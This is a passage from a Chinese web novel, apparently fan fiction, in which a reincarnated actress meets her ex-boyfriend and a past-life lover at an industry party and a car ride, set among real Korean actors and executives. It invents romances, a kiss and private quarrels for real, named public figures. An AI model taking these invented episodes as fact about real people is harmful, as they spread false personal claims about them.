都是一个圈子的，虽然裴永俊也自认不算什么好人，但是也还是干不出白嫖之后不给资源的事情。多少想要从爱豆转型为演员的艺人，在他们手里吃过亏。 看到宋玉妍听进去之后，他又继续猜。 “原彬？”看来也不是，这位在她入圈的时候几乎都是神隐的状态了。宋玉妍如果真能搞定，那keyeast签她属实是屈才了。 …… 又一连猜了好几个，裴永俊兴趣也没有消退，依旧兴致勃勃。 她只觉得有些烦，这段路怎么这么长？ “不会是郑宇盛吧！” 宋玉妍听到这个名字，脸上不由地露出一点不一样的神色。这完全就是条件反射，之前一起生活太久留下来的后遗症。 “郑宇盛xi人还是不错的。”他原本轻柔的声线变得有些平静。 “他在圈内的风评不错，对朋友很大方性格也好，对另一半更不用说了。” 宁愿背上“男小三”的名声，也要和前任官宣，算得上是难得有担当的好男人。 “公司对你也没有恋爱禁令，只要能做好舆论把控就行，恋爱很正常！” 坐在副驾驶上疲惫到不想说话的宋玉妍，还是深吸一口气，打起精神，强撑着和自家老板社交。 本来猜其他人，她只是给摇头的反应。但是听到裴永俊喋喋不休地在夸郑宇盛，她直接开口道：“不是他！” 也许是宋玉妍的语气太过斩钉截铁了。直接到让他觉得有些尴尬，只能把手放在方向盘上，瞟了瞟副驾的后视镜，讪讪地笑笑，不再继续这个话题。 又也许是感知到对方的疲惫和无奈，他也没有再主动找话题进行尴尬社交。 车里只留下轻柔的钢琴声。 离开首尔的市区，路过郊区往卫星城开去。周围的空气好像都变得清爽起来，褪去了都市里的那一份浮躁。 宋玉妍按下车窗按钮，4月傍晚的空气里的柳木的味袭来。草木的香气中好像含着新生的感觉，让人不自觉平静放松。 到了目的地，入眼就是硕大的传统的韩式建筑，三三两两的韩屋错落在山坡上。 “今天的这个制作人比较念旧，喜欢住在郊外，宁愿买地重新盖庄园，都不愿意住首尔的平层公寓和别墅。”裴永俊大致说了这个局的情况，“这次虽然是他攒局，但他也只是出个地方而已。” 听到这里，宋玉妍放下心来，如果主人太过守旧，今天就会很难熬。 传统的韩式礼仪糟粕可不少，从入门开始就要脱鞋。女士还要按照专门的坐姿盘腿端坐，她今天穿的裙子不太方便。 “金淑英作家最近写了个新本子，据说是和《花样男子》差不多的题材。”裴永俊也不确定这样灰姑娘的题材在现在的市场上还能不能吃得开，但是金作家的招牌在那里。 宋玉妍再一次感慨，有一个靠谱的经纪公司就是好，老板能亲自下场帮忙谈资源。 “这次主要是带你给sbs的工作人员看看，你现在在拍的这部《主君的太阳》不也是他们台的作品吗？你和他们合作两次了，《那年冬天风在吹》也是这个台的吧。” 裴永俊已经计划好，用自己的人脉让对方认识自家艺人，先留个眼熟。后续有什么剧也能第一时间想起有这个人就行。 宋玉妍点点头，表示赞同。“代表nim，那等会需要我做什么吗？”自家老板把路铺好了，走就好了。 他在没有看到金作家的新剧本之前，不想太往新本子那边使力。“等会先带你去认个脸熟，后续角色的话……还是要看剧本，你是可以喝酒的吧？” “内！一点还是可以的！” “也不是别的意思，就只是一个礼貌的问题，毕竟这个圈子规则就是这样。”裴永俊看她上道也不再多说。 也许是知道今天的聚会是在新式的韩屋里，大家穿着都相对随意了一些。 男士有穿夹克、风衣、针织毛衣，更讲究一点的则是穿着吸烟装。女士穿着以小礼服为主，偶尔有几个穿着裤子。 一进门，宋玉妍就自觉地挽上了自家老板的手臂。目睹着他秒变脸，脸上迅速挂上了招牌的儒雅笑容，不断笑着和认识的人寒暄。 他每经过一个认识的人，都能准确无误地说出人家的姓名、履历。还能和人聊聊彼此家中的近况，拉进彼此之间的距离。 像个花蝴蝶一样，在人群里不断穿梭。如果碰到演员朋友，就顺便聊聊对方近期的作品，吹捧几句。 然后再套话，看看最近有没有他不知道的一些项目。早点知道，就能早一点为旗下艺人做打算。 宋玉妍在旁边看得一愣一愣的，有些钱真的活该别人赚。至少这份交际水平她是自愧弗如的，不是谁都能如此面面俱到！ 看到今天的目标人物，裴永俊也没有操之过急。先是端了杯香槟走了过去，打招呼、然后聊聊对方公司的一些作品。 “黄经理，今年的剧王怕是要被你们公司预定了！” 见人带三分笑，宋玉妍看着自己老板现在和狐狸笑得如出一辙，身上的汗毛都要竖起来了。 “哪有哪有，kbs毕竟是国家的权威电视台，他们今年制作的剧质量还是很高的！”黄胜日嘴上还是谦虚了两句。 但是一想到自己部门拿到金作家最新的作品，那股踌躇志满的得意劲，还是不经意还是流露出几分。 “金作家的作品都被你们收入囊中，那今年一年收视率的kpi都有了保障。”裴永俊低声恭贺道。 这明显是内部人员泄密，黄胜日就知道地下那群人嘴巴不牢靠。 “实话说，公司确实是在立项目了，男女主演都敲定了，但也还在保密阶段。”他也是也是同样音量回答。 对方都已经知道，那就没有必要再遮遮掩掩了。 听到这，裴永俊立马把宋玉妍从旁边扯了出来，“你看看我家新签的这个艺人怎么样？忠武路出身、拿过青龙最佳新人的好苗子，颜值这块也没得话说。” 一句话概括就是要演技有演技，要长相有长相。 然后他凑近之后小声开了句玩笑，“这可是我公司未来的第二棵摇钱树。” 黄胜日上下打量了他带过来的这个艺人，眼睛里是对商品价值的估算。 宋玉妍这个时候福至心灵般地主动敬了对方一杯酒，顺便介绍了自己，把在忠武路时的主要作品简略说了说。 “确实是好苗子！” 看到对方应该是有了点合作兴趣，裴永俊就拍了拍她的肩膀，示意她可以自己一个人去玩。剩下的事情就交给公司，和艺人这个层面没有关系了。 宋玉妍在这个聚会上也不认识其他人，或者说有些人她很熟悉，但是人家完全不认识她。 所以她就顺应自己的心意，离开室内，在庄园找了个角落。点燃一支香烟，看着天空上绚烂的火烧云。 嘴里含着烟头，然后用纤长的手指夹住，漫不经心地吐了一个烟圈，安静地享受着独属于自己的时间。 “内，就是在这边，你别开错了！我在庄园这边的吸烟处等你！” 突然听到一个男人的声音，温柔清朗的音色几分熟悉，这让宋玉妍身体一僵。 她连忙先把燃烧着的香烟给熄灭，有人过来。就算是在吸烟处，没有经过询问，让人家吸二手烟还是有些冒犯。 那位转过身来，黑色呢子大衣的衣摆在空中划上一道弧线，像是在正在翻腾着的浪花。 宋玉妍屏住了呼吸，潜意识告诉她发现是故人，看清正脸那一刻，果然如此。 重逢的这一瞬，灵魂比身体先认出他。脑海中划过很多回忆，无暇顾及系统的纷扰。 她嘴角扯出僵硬又想要故作自然的笑容，最后失败了。“前辈，您好。”然后依据礼节鞠躬，眼睛有些酸胀，那些记忆只有她一个人记得。 对于他来说，现在的她是陌生人，也只是陌生人。 “诶？你居然认识我！”郑宇盛很是讶异，现在的年轻人基本上都喜欢爱豆，或者大热剧的演员。他这几年转型，出圈的作品不多。 “怎么会不认识呢？”宋玉妍发现自己的喉咙中发出的声音很是奇怪，有点像是钝器磨肉，一点一点发出的难听金属声。 “我看过您的很多作品，《我脑海中的橡皮擦》、《雏菊》、《日出城市》……” 逐字逐字地往外蹦，这些电影很多还是他们一起看的。在济州岛的影音室内，闻着特殊的海风和柑橘味道，他们依偎在一个沙发上。 一帧一帧地拉片，那是她最美好的回忆。 郑宇盛不知道为什么对眼前人不自觉地想要亲近，好像很久之前两人就认识了一样。 他心脏跳动的速度和脑海的潜意识告诉自己，这是个很重要的人。 听到她对自己的作品如数家珍，在心里把这份突如其来的亲近感归结于对“粉丝”喜爱的回馈。 甚至压下了初次见面，那份想要把关系越过界的冲动。 作为一个演员，对于其他人是否是真心的喜爱，他很容易能分辨出来，因为眼神不会骗人。 对面人眼底的爱意，就比银河里的星体少一点，简直要从眼里满到溢出来。这也让他不敢对视，炙热纯粹的感情，他多久没有看到了。 很多人给予的爱意，大多都是有所求的。 “该如何称呼你？” “宋玉妍！”也可以叫的更加亲昵。比如说玉妍呐，她在心里说道，或者叫yeobo也可以。 “宋玉妍xi，你最喜欢的我的那部作品呢？” “《我脑海中的橡皮擦》！”她的内心很是复杂，但这个作品的名字立刻脱口而出。郑宇盛永远都不会知道，他们也算是因为这部电影结缘。 两次初遇，都是在她抽烟的时候，这是什么样的缘分？ “oneshot?”郑宇盛用右手做出酒杯的形状，然后想要和宋玉妍碰杯。 她当然也不会扫兴，手作出和他一样的姿势。四根手指互相浅浅地触碰下，一触即离。 能拥有这样的默契，两人心情都还算是愉悦，情不自禁地对视一笑。仿佛这样的氛围，这样的场景，在两人的生命里出现过千百次。 “郑宇盛xi？你在这里？我打电话你都没有接！”在庄园里找了一圈的李正宰，发现自家亲故原来在这里躲着。 “呀，不是说了在吸烟处！你自己不仔细听？一天到晚脑子里面在想着谁啊！”郑宇盛毫不留情地怼了回去，只觉得对方最近越来越奇怪了。 宋玉妍看到来人之后，脸上的真切的笑容瞬间收敛。开始盯着地面，手指裹着包链，力气大到几乎要镶嵌进肉里。 李正宰看到自己一来，她就不说话了，心中暗恼。他默默挪到自家亲故面前站定，不动声色地用身体把两人隔开。 感受到尴尬的氛围让郑宇盛不知所措，宋玉妍像是忘记礼仪了一样，没有主动向李正宰打招呼。 他觉得这两人不太像是从没有见过的前后辈，忍不住地救场，发问道：“你们之前认识吗？” “不认识。” “前女友！”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 19、第十九章 “前男友。”宋玉妍的语气里满是可有可无的淡然。好像在说，你想承认那就承认吧！这又没什么大不了的。 “不认识！”李正宰没有想到这次两人又是异口同声地开口，得出的答案又是迥然不同的。“我认错人了！” 这两人把郑宇盛搞糊涂了。就算他再迟钝也能感受到，这他们间的关系，绝不只是陌生人。 他压下心中异常的情绪，把空间让给这两位。“那你们先慢慢聊吧！我进去找点吃的。”看到这两人都没有阻止他的离开，郑宇盛的心里忽然有些不好受。 宋玉妍不看另外一个人，又感觉自己仰着头看天空不礼貌，显得十分傲慢。 她就只能垂下头，盯着被橘红与辉煌金色交织的天空。天色映照到草尖泛起点点斑斓的草坪，想要把这片草坪种了几棵草数得清清楚楚。 李正宰从未这样仔细地看过她，她的脸上写满了毫无察觉的不耐。在他来之前，对着郑宇盛笑靥如花的样子形成鲜明对比。 这让他产生了很不好的联想，就好像自己是个插足者。是他打破了两人之间独有的磁场，硬挤进去的第三人。 “好像大邱之后我们就再也没有见过了，两个月还是三个月？”他故作轻松的开口道。 两个月不见，他在《观相》剧组过得水深火热。一边是第一次尝试古装电影的压力和名导的高要求。一边又是在夜里不断地辗转反侧，不断揣度着、思考着和宋玉妍的这段关系。 时间好像有些偏爱宋玉妍。在他憔悴不行，甚至消瘦了好几斤的时候，她好像完全没有受失恋的负面影响。 脸颊肉稍稍消减，但完全没有损耗她的美貌。皮肤依旧是细腻中带着粉色光泽，让他联想到之前去过的港城，在那里见过刚剥好、新鲜清甜的荔枝肉。 不知道捏起来的手感，是不是还和之前一样好。 拿出手机，宋玉妍自顾自地看了看时间，嗯了一声。 “你在之前送我的那个红宝石胸针，价格应该不便宜吧！还是收回去。”李正宰故作淡然地说道，就好像只是想和她讨论这些。 想把之前两个人的个人物品处理的干干净净，似乎这样就能把生活做好切割。 “随便，我给你助理的电话，你和她去说吧。” “其实大邱好吃的还是很多，我们上次吃的那家法餐还是很一般。” “内。”宋玉妍有些不耐烦了。 “听说你签上了裴永俊的公司，恭喜！” “谢谢！”手机上的敲击声一直没有停过，哒哒哒的，让人心烦。 如果不是听说今天裴永俊会带着新签约的艺人来这个聚会，李正宰也不会和剧组请假。现在她的态度很让人难受，就像是一拳打在棉花上般地无力。 对方明显是在敷衍他，一边回着他的问题，一边手指不断地在屏幕上敲敲打打。 眼睛是水水润润的，头发绑成低马尾放在脑后，只有鬓角落下两缕微卷，裸粉色的吊带配着米白色的纱裙，外面是短款的淡黄色西装。 李正宰只感觉对方完全不一样了，更加明媚好看了，也如他所愿的不再黏他。只是这株无需氛围感加持就足够美丽的荔枝玫瑰，不再在属于他一个人的院落绽放了。 “你的脸书我关注了，好像删了很多东西。” 她终于抬起头来认真地注视着他，“我知道是你，也不会有别人。”至于后面的那个话，没有接。 “最近还好吗？”像是要把尬聊贯彻到底，李正宰孜孜不倦找着一个又一个话题。好像是想拼命证明，他在她的过去留下过许多痕迹。 “还可以。”宋玉妍不太想再和他聊下去了，他的心思很重。就算是郑宇盛，很多时候也看不懂他，她现在的精力不应该浪费在这些无意义的事情上。 不想再和他周旋下去了，这样很累。避开他，走到吸烟室的另外一边。宋玉妍从包里掏出香烟盒，重新抽出一根。 点火、引燃、深吸一口，一气呵成。 尼古丁独有的苦味蔓延在这方寸之间，回报给晚风的却只有淡淡的轻烟。 看到她开始抽烟，李正宰很想知道她是从什么时候开始的，却又不知道以什么身份开口。他迈着大长腿，双手插在西装裤兜，走到宋玉妍身边。 仿佛一点都不介意烟味，“你之前不是说想要养狗吗？我看了很多，你看这个西高地怎么样？” 宋玉妍是坚定的猫猫教，对狗不讨厌。但瞄了瞄他的手机屏幕，就想和李正宰唱反调。瞟了一眼后，吐槽道：“丑死了。” “柴犬呢？” “蠢死了！” “边牧？” 她只觉得李正宰聒噪，恶劣地把烟灰弹到他锃亮的皮鞋上，然后把烟掐了。轻柔地把他的藏蓝色的丝绸领带从马甲中抽了出来，在手上缠绕了两圈。 然后猛地把人往身下一拽，让他不得不俯下身来。随后粉唇猝不及防地亲吮上去，尼古丁和馥郁的玫瑰味一瞬袭来。 李正宰被这突如其来的动作惊了一瞬，手臂不由地紧紧扣住她的软腰，然后不自觉地收紧，用力到手臂上的青筋暴起。 就像是狼用锋利的爪子在撕磨猎物的喉咙，力道刚好。让对方无法挣脱禁锢，但是又不会划伤对方。 从上颚到牙齿，他感受着滑腻不断地肆无忌惮，他的呼吸都粗重了几分。一边是意乱情迷，但他还有着闲心想，宋玉妍的吻技进步了很多。 想到她从别人身上，学到了如此私密的技能，内心被熊熊妒火点燃。李正宰另一个手忍不住抚上怀里人的后脖颈，然后忍不住微微加力。 空气变得开始黏着又潮湿，宋玉妍感觉自己嘴里尼古丁的味道被吮吸殆尽，只留下对方刺鼻的古龙水味。 她在满脸绯红之时把对方的脸推开。平复了一会呼吸后开口道：“你真的很烦，话太多了。” 话里话外的意思是，如果你话不这么多，我也不会亲你，所以这都是你的问题。 “内，所以……”李正宰本来想说自己有些后悔了，想要询问宋玉妍要不要重新开始试试看。 “我最近很忙，要拍戏。”所以少来烦我，宋玉妍说完这些就感觉时间差不多了，想要回去找自家老板一起打道回府。 也许是这一秒的荷尔蒙让人上头，也许是不知道下一次见宋玉妍是什么时候。反正他做出了一个自己平时绝对不会做的举动，拉住她的手腕，细腻柔软的触感和以前一样好。 “那我们刚刚的亲吻算什么？” “算我给前男友的见面礼。”她不以为然地说道，那一瞬间想亲就亲了，哪有那么多理由？ “实在不行我们两个做bedpartner也不是不行。你知道的，我很忙，没有时间谈恋爱。” 后面那句话是之前前男友谈恋爱时最常说的一句话，现在原话奉还。 李正宰打量着她的神色，发现她丝毫没有开玩笑的意思。“你认真的吗？” “我很像是在开玩笑？这在圈子里面不是很常见的吗？不会是你也会是别人！” 听到这话，他铁青着脸转身而走。忽然又想到自己还被宋玉妍拉黑着，又转身回来，“你还没有把我从黑名单里面放出来！” “你联系我的助理吧，这对你来说应该很容易！” 宋玉妍只想他赶紧走，抽根烟被打断两次的感觉真的很难受。她不觉得是郑宇盛有打扰到自己，只觉得今天的李正宰格外不识趣。 看着她性质缺缺的样子，他也只能憋气离开，带着满肚子的火气。 他一走系统就立马出来，「宿主你好厉害啊，刚刚一瞬间他的好感度都飙到81了。」 「那现在呢？」 「58！除了亲人，你排第二高了，也很不错。」 「渣男。」宋玉妍冷笑了一声，亲都亲了，好感度都还没有及格。 回到会场的李正宰，一眼就看到了自家兄弟，对方就像是一直坐在门口等着人一样。 “李正宰xi,所以刚刚那个是你前女友吗？” “嗯。”对于宋玉妍，他莫名不想和郑宇盛多谈，不知道为什么但是潜意识告诉他最好不要这样做。 “那你为什么之前从来没有和我说过？”亲故一下就问出了问题的关键。 “当时没有想过会谈那么久，当然也是不想别人带着有色眼镜看她。” 一听这话，郑宇盛一针见血道：“那还是不够喜欢，真正的喜欢不是这样。” 李正宰觉得有些不对劲，他平时不是这么八卦的人，今天的话题却一直围着宋玉妍打转。“你不会是对她有好感吧？” “不确定，不知道是因为她是我的粉丝想亲近还是因为其他，得多接触接触。”他很坦诚，直截了当地把自己内心的话吐露出来。 李正宰：…… 好半天他才又憋出一句，“可是她是我前女友。” “可是你们不是分手了吗？” 被郑宇盛噎地说不出话来的李正宰只能拿着香槟的高脚杯，狂饮气泡果汁酒精，这才压下心里的郁气。 剩下的时间两人都互不搭理，郑宇盛端着一杯气泡水，李正宰重新拿了杯威士忌。他们各占据着沙发的一端，没滋没味地喝着，有人过来社交，都被敷衍走了。 时间被消磨，等聚会结束，两人拿起各自的车钥匙，往停车场方向走去。路上还是互不搭理，仿佛十四年的友情，在这一刻降到了冰点。 米白色的纱裙被晚风撩起美丽的弧度，层层叠叠像是夏日里，茉莉花般柔软的花瓣。 郑宇盛看到来人，惊喜道：“宋玉妍xi？你还没有立离开？” “老板谈事情谈得比较晚，我在这里等他。” “那要不我顺路送你吧，这样快一点。晚上比较冷，风吹久了容易感冒。” 看着自家亲故睁眼说瞎话，李正宰嗤笑了一声。连宋玉妍家都不知道在哪，还顺路。首尔晚上温度23度，还吹感冒。 真好笑！ 他强势地挤了进去，“还是我来送吧，你不知道她家在哪！而且宋玉妍上次在我车上落下的口红忘记拿了，还可以顺便拿一下。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 20、第二十章 “可是你喝了酒，一杯起泡酒和一杯威士忌。”喝完酒怎么能开车，郑宇盛庆幸自己在酒会上没有沾酒。 大意了，李正宰之前怎么没发现自家朋友这么多心眼子？平时在他面前都是可可爱爱没有脑袋的样子。 “她和她老板一起来的，你带她回去不合适吧。”眼看自己目的达不成，他干脆靠在身后蓝色的车上。双手抱胸，表情玩味地把兄弟的伞撕烂。 “宋玉妍xi，你觉得呢？”郑宇盛懒得和他掰扯，直接询问当事人的意见。 他们身后的迈巴赫双闪灯打开，喇叭鸣笛，“滴、滴”了两声。裴永俊从驾驶位的窗户内探出头来。他含笑对着自家艺人说道：“正好，我等会有点事，有人把你送回去刚好。” 等李正宰从他车身上挪开，他把车驶出停车位。经过宋玉妍时，还用手挥了挥，表示再见。真有意思这个艺人签对了，这才多久就能吃到两个同辈演员的瓜。 宋玉妍这边也很是无奈，只能同意郑宇盛的提议。 看到她答应下来，李正宰冷静的表情有些崩不住。明明之前他都没有和自家兄弟提过她，但是他们今天一见面，关系就发展到过于熟捻的地步。 “反正我们两个今年新买了公寓，住得离的不远，你顺便帮我捎回去吧。”李正宰双手抱胸倚靠在郑宇盛车的驾驶位上，仿佛他才是车真正的主人。 “你自己不是开车过来了吗？你的车怎么办？”郑宇盛有些不解，为什么不带一个助理过来。 奔驰大g的底盘太高，宋玉妍穿着裙子和高跟鞋很不方便，李正宰绕过去，手臂自然而然地伸了过去。在看到她选择扶着郑宇盛之后，他尴尬的在西裤上拍了拍，好像上面真有什么灰尘一样。 想到她晚上说得那一番话，再看到她和别人之间的亲密，他把理智抛在脑后。“艺人不能酒驾的！” “可是我的车坐三个人很拥挤。”郑宇盛貌似无辜地说道。 “你的大g再装三个人都绰绰有余了。”又不是跑车，还能睁着眼睛说瞎话？ 李正宰不想多说，直接打开车门坐到后座上，然后盯着驾驶位，他笃定郑宇盛不会把他赶下去。 等车辆发动时，也许平时副驾驶坐习惯了，现在他只觉得哪哪都不顺眼。 前面两人虽然没有开口说话，但是宋玉妍旁若无人地拿出唇膏补妆，身体一派放松姿态。 他鼻尖上充斥着前面两人身上雪松和玫瑰交织的味道，甚至压过了他西服上的古龙水味。 “郑宇盛xi，你ins账号多少，我关注一下？”夜幕两旁暖黄的路灯灯光，给宋玉妍的脸上打上了一层细腻的薄粉。 皮肤上好看的肌理纹路，像是女娲一点一点用笔细心描绘出来的，微微皱眉的样子也好看地不像话。 “我……还没有开通ins。”这个去年刚出来的社交软件，对于他这样一个刚步入四十代的人来说，还是太新潮了。 车内另外两人的视线几乎都在她身上，只是一人隐晦，一人目不转睛。 她都没有说要关注我的公开社交账号，有人的内心像是泡了三缸陈醋。 李正宰选择性地忘记，之前好几次，他以用不习惯现在的社交软件为理由，来搪塞宋玉妍。 郑宇盛握在方向盘上的手很大，虎口处有些薄茧，看起来既粗糙又性张力十足。宋玉妍的视线，不由地被吸引过去。 第一次对他产生荷尔蒙，还是前世在《王者》剧组。那一瞬间看着他单手摇晃着威士忌杯，西装的克制与酒精所代表的放纵形成巨大反差感，完全踩在她的x｜p上。 李正宰不像郑宇盛因为要开车，要分出一半的注意力在路况上。他几乎所有的注意力都在宋玉妍身上，所以在看到她对自家兄弟露出饶有兴致的炙热眼神时，心下不由地一沉。 她的变化可太大了，大到完全失去控制。 他从未想过独属于李正宰的专属品，有一天也会从他的生活中完全抽离。 更糟糕的是对方显然很习惯现在的生活，只留下他一个人，独自地在反反复复的戒断反应中挣扎。 每到夜晚，戒断反应让他犹如溺在水中，漂浮着的、最后一根浮木从他指尖飘走。 他脑海中不可避免地划起bedpartner这个词。忽然反应过来，当时宋玉妍是很认真地在提议，也许……也许他并不是第一个。 她看向郑宇盛的目光更加炙热呢？还是和他接吻时更加投入？李正宰像是陷入了一个思维怪圈，所有的逻辑都被搅乱。 “没事，可以先留个电话号码。到时候你开通ins的话，我就可以第一时间找到你哦！” 郑宇盛转过头来，露出比春日暖阳还要灿烂的笑容，飞速把自己的号码报了出来。 在报到最后两位数时，被他笑容刺到的李正宰给打断了。 “宋玉妍xi，你还记得我们当时初遇在哪里吗？” “我从来不记不重要的事情！”她的眼里闪过一丝怀念。如果宋玉妍和李正宰的交集止于初遇的时候，那该有多好。 听到这个答案他内心的挫败感无法言喻。但是看到她输入电话号码的手一顿，又不禁有些窃喜，至少这招是有用的。 “今年东国的校庆你去吗？我们毕竟是校友，可以一起。他们之前邀请我的时候，都在拍戏，希望今年能赶上。” 已经是认识十多年的朋友，郑宇盛怎么会听不出他语气里带着孔雀开屏般的骄傲？既是在炫耀他和宋玉妍之前的亲密关系，又是在把对方划到他的专属领地。 她没有回答这个问题，11年刚拿青龙最佳新人的时候，东国大学还是给她发过校庆的邀请函。但是随着她逐渐淡出大众视野，这种待遇再也没有了。 “我没有被邀请。”说完她把电话的最后两个数字输入手机。 后半段的路程气氛很沉闷，主要是宋玉妍不想搭理自己的前任。 而郑宇盛虽然对她有一些好感，也不会完全不顾兄弟情义。 李正宰也不知道受到了怎么样的刺激，一直在没话找话。 “宋玉妍xi，你还记得东国大学天台每年都会放的圣诞树吗？” “之前我们吃的那一家米其林的韩牛还行！” “这段时间助理还是习惯买了很多情侣用品，我这里用不上，要不你先拿过去，别浪费了！？” …… 郑宇盛是一个很善于社交的人。就算有的时候，处事没有那么圆滑，但是他的脸也能为他的社交能力增色不少。 现在车内古怪的氛围让他如坐针毡，但现在宋玉妍不开口，只能他来接那些关于李正宰和宋玉妍之间美好会议的话题。 车内氛围变得更加奇怪了，李正宰只顾着和宋玉妍说话，但宋玉妍又不理他只接郑宇盛的话头。郑宇盛又不想维持着这样的氛围继续下去，只能单方面和亲故尬聊。 最后他实在是累了，句句得不到回应后，干脆就闭嘴开车。 等到弘大时已经是凌晨了，两边的酒吧在霓虹灯的闪烁下掩盖了地上一个个醉汉的丑态。 等宋玉妍下车，背影消失在拐角后，郑宇盛悠悠地开口道：“李正宰xi，我们要找个时间好好谈谈了。” —— 回到《主君的太阳》剧组的宋玉妍生活好像是步上了正轨，她现在只要一心一意把戏拍好就行。 代言、cf什么的都还不会自己主动找上门来，单纯拍戏对她来说就是放松。 “你听说了吗？”白善英神神秘秘地过来，小心和宋玉妍八卦道：“导演和作家又吵起来了。” 她怀疑自己不是只离开了一个晚上，“又是要改剧本吗？” “对！这次是因为作家看了花絮，觉得你和徐仁果之间的化学反应很是明显，要给你们加戏。” “导演不同意？” 白善英知道的更多，在知道宋玉妍嘴很严之后，她说起话来愈发没有顾忌了。“当然不同意，现在所以的戏份通告都定好了突然说还要加……” 如果是真的的话对她当然有好处，但宋玉妍还是心疼打工人一会。 “孔孝真xi那边还没有表态，sbs电视剧部门还没有发话，但估计是都拗不过作家的！” 宋玉妍若有所思，想着等会要不要把这个消息和公司的公关部商量一下。 “之前洪作家对孔孝真xi就不是特别满意，觉得她和男主没有cp感。”白善英更加小声第说道，“其实主要还是长相的问题，也是电视台那边向作家施压，觉得她旺剧，这才最后敲定了她。” 没想到这个剧的剧外比剧本还要有意思的多，孔孝真是真的很厉害。因为长相受到过这么多的质疑，还是坐稳了一线电视机女演员位置。 等白善英出去之后，宋玉妍坐在自己的化妆镜前，打了个电话。 —— “李正宰xi！”郑宇盛现在的公寓和自家亲故住的地方离的不远。就上下楼的距离，喝酒时候还是会约他一起。“你说我要不要主动给宋玉妍xi发消息？” 李正宰：…… 他觉得自从分手之后，这个世界好像有些不正常。哪有人会问自己的朋友：我要不要给你前女友发消息？我好像对她很有兴趣！ 旁边拿着威士忌酒杯的郑宇盛还在喋喋不休，“我感觉他很有意思，和我之前见过的女演员都不一样……” 他很兴奋，李正宰瞟了一眼之后做出判断，实在是没有心情和语言能够形容他现在的心情。只能从烟盒里颤颤巍巍地掏出一根，然后用定制的纯银打火机点燃，然后深吸一口平复一下自己的心情。 看着定制的打火机，他的心情愈加复杂，这也是宋玉妍用心给他送的礼物。这一年多他都用顺手了，甚至打火机没有油了，他还会让自家经纪人找地方重新灌满。 用力地闭了闭眼睛，李正宰心情很是复杂，为什么越是不想听到这个名字，宋玉妍这三个字就越是无处不在？ 在听到身边人已经夸到她的长相时。忍了忍，最后他还是没有忍住，逼着自己假装冷静地挤出几个字，“你不是不喜欢这一款的吗？” 郑宇盛之前的前女友，基本上都是看起来清纯可人的小白花那一款，宋玉妍娇艳精致的长相和她们完全不沾边。 “审美是可以改变的呀！”郑宇盛以为朋友并不在意，只是单纯好奇罢了。他甚至笑得露出大白牙，像金毛那样呲着个大牙乐。 李正宰之前喜欢和他做朋友的原因，就是因为他看起来没什么心眼，相处起来很舒服。但是现在正是因为他的直球，导致自己心里堵得慌。 他沉默了一会，越想越感觉气血上涌，平时情绪稳定的脑子好像出走了一般。“你是想忠武路也爆出友妻门这样的丑闻吗？”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 20-30 第21章 第二十一章入v三更 郑宇盛没有想到他的言辞会这样激烈，微微愣住了一下，印象中他和李正宰从来没有吵过架。“你知道的，你们已经分手，所以只要你不介意就好。”他说这话时，嘴角还挂着习惯性的笑容。 “分手了！当然！”李正宰很烦躁因为最近一直听到这个词，他把心里的那份不舒服归结于还没有适应单身的生活。“再怎么说她也是我的前女友，你为什么会觉得我不介意？” “你们之前在一起的时间并不短！但是你并没有和我提起过她一次，所以……”所以他觉得对于自己亲故来说，或许宋玉妍没有那么重要。 他赤裸裸地撕下那层遮羞布，这话把李正宰对这段感情轻描淡写的态度，毫无保留地揭露出来。至少不会因为喜欢她而影响到彼此之间的感情，但是他的话被立马打断了。 “所以呢？你想被媒体报道，是男小三惯犯？” 李正宰说不清自己是什么心思，可能是被亲近之人踩下面皮的恼羞成怒，也可能是想要欲盖弥彰的亏欠被他点了出来。 这话一出，空气瞬间静默了。郑宇盛有些受伤，握着酒杯的手发紧。眼底的光亮一点点湮灭，温柔英俊的脸庞在顶光下显得异常狼狈。 也许是因为情绪，也许是因为酒精上头，李正宰的脸涨得通红，脑子一片混沌。说出这句话后，他就后悔了。话已经说出口了，他又比郑宇盛大一岁，自然抹不下面子道歉。 他只能烦躁地扯松了自己的领带，然后把袖口解开。希望这样能让自己体温降下来，头脑能重新恢复冷静。 整个人都懵了的郑宇盛反应过来后，嘴角扯出一抹僵硬的笑容，亲近之人最知道怎么捅刀最痛。那段时间也是他人生的至暗时刻，因为不愿意和女方分手，极力想帮李知雅澄清，所以被媒体诬陷是“男小三”。 而李正宰现在说出这个称呼，无疑是把他愈合好的伤疤重新撕开。 他垂着头沉默了一会，情绪低落，没有说出伤人的话语。而是冷静指出，“李正宰xi，和金珉喜xi分手之后，你也做过深夜买醉不理智的举动，所以爱情没有对错之分。” 爱情本来就不该是理智的，当你在反复权衡利弊、思量再三时，就说明保持冷静克制的你，没有付出爱意。 之前是他想岔了，郑宇盛以为兄弟应该是对宋玉妍没有感情了，所以才会想要和对方变得亲近起来。但现在兄弟明显是有些念念不忘，那他就会重新衡量一下三人之间的关系。 他深吸一口气继续说道：“李正宰xi，你现在是什么样的想法？如果你想重新和宋玉妍在一起的话，那我……再怎么说都不能影响到我们之间的友谊。” 因为是很好的朋友，郑宇盛很珍惜这样的一段友情，所以会对朋友退让。 这番话彻底让李正宰清醒过来了，在知道自己说了什么伤人的话后，心中也是后悔不迭。 “我不知道。” 两人之间又是一室静默，只剩下吧台桌面的灰色大理石上剪影偶尔重叠。偶尔，水晶杯互相碰杯，发出清透的撞击声。 “我很抱歉。”最终李正宰还是把这个对亲近之人，更加难以启齿的词说出口了。因为是好友，所以他也不想因为这件事，在对方的心中留下裂痕。 “hiong。”郑宇盛从来对李正宰只是说敬语，像今天这样用亲近称呼还是十几年来第一次。他起身去拿 那一瓶山崎，把两人的威士忌酒杯里重新倒上金黄色的酒液。 桃子、柑橘和果酱略微有些甜腻的气味充斥在两人中间，甚至西装上都不免沾染上一些。李正宰就知道对方不计较这事了，主动碰了杯，杯口带着歉意略微低了一点。 一切都在不言中，成年人无论是友情和歉意，都带着成熟和克制。 不知不觉，这瓶威士忌快要见底了，两人现在满口都是甘草的味道。 借着五分醉意，李正宰重新开口：“我有一个朋友，他之前谈过一场恋爱……” 郑宇盛假装自己在听故事，也假装不知道李正宰的那个朋友不是他自己。还很给面子地应答着，“内？” “他和对方认识的时候，是我那个朋友先主动的，他先请人家吃饭。后面吃过饭之后又主动要了联系方式，一来二去两人过一年就在一起了！” 